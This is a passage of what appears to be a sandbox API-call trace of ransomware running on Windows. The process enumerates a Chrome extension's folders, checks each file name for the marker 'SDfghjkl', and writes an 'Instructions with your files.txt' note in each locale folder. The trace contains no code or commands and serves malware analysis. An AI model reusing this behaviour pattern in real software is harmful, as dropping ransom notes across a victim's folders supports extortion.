[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 151
[0129.609] StrStrIW (lpFirst="eventpage_bin_prod.js", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 143
[0129.609] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="page_embed_script.js", cAlternateFileName="PAGE_E~1.JS")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 150
[0129.609] StrStrIW (lpFirst="page_embed_script.js", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 138
[0129.609] GetProcessHeap () returned 0x810000
[0129.610] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.610] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*") returned 140
[0129.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.612] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\.") returned 140
[0129.612] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.613] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\..") returned 141
[0129.613] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1
[0129.613] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned 141
[0129.613] GetProcessHeap () returned 0x810000
[0129.613] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.613] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*") returned 143
[0129.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.614] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\.") returned 143
[0129.614] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.614] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\..") returned 144
[0129.614] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.614] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 155
[0129.614] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.614] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.614] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\Instructions with your files.txt") returned 174
[0129.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.615] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.616] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.616] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.616] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.616] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.616] CloseHandle (hObject=0x134) returned 1
[0129.616] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.616] GetProcessHeap () returned 0x810000
[0129.616] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.616] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1
[0129.616] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned 141
[0129.616] GetProcessHeap () returned 0x810000
[0129.616] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.616] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*") returned 143
[0129.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.617] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\.") returned 143
[0129.617] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.617] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\..") returned 144
[0129.617] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.617] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 155
[0129.617] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.617] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.617] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\Instructions with your files.txt") returned 174
[0129.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.617] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.618] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.618] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.618] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.618] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.618] CloseHandle (hObject=0x134) returned 1
[0129.618] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.619] GetProcessHeap () returned 0x810000
[0129.619] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.619] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0129.619] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned 141
[0129.619] GetProcessHeap () returned 0x810000
[0129.619] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.619] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*") returned 143
[0129.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.620] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\.") returned 143
[0129.620] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.620] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\..") returned 144
[0129.620] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.620] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 155
[0129.620] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.620] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.620] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\Instructions with your files.txt") returned 174
[0129.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.620] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
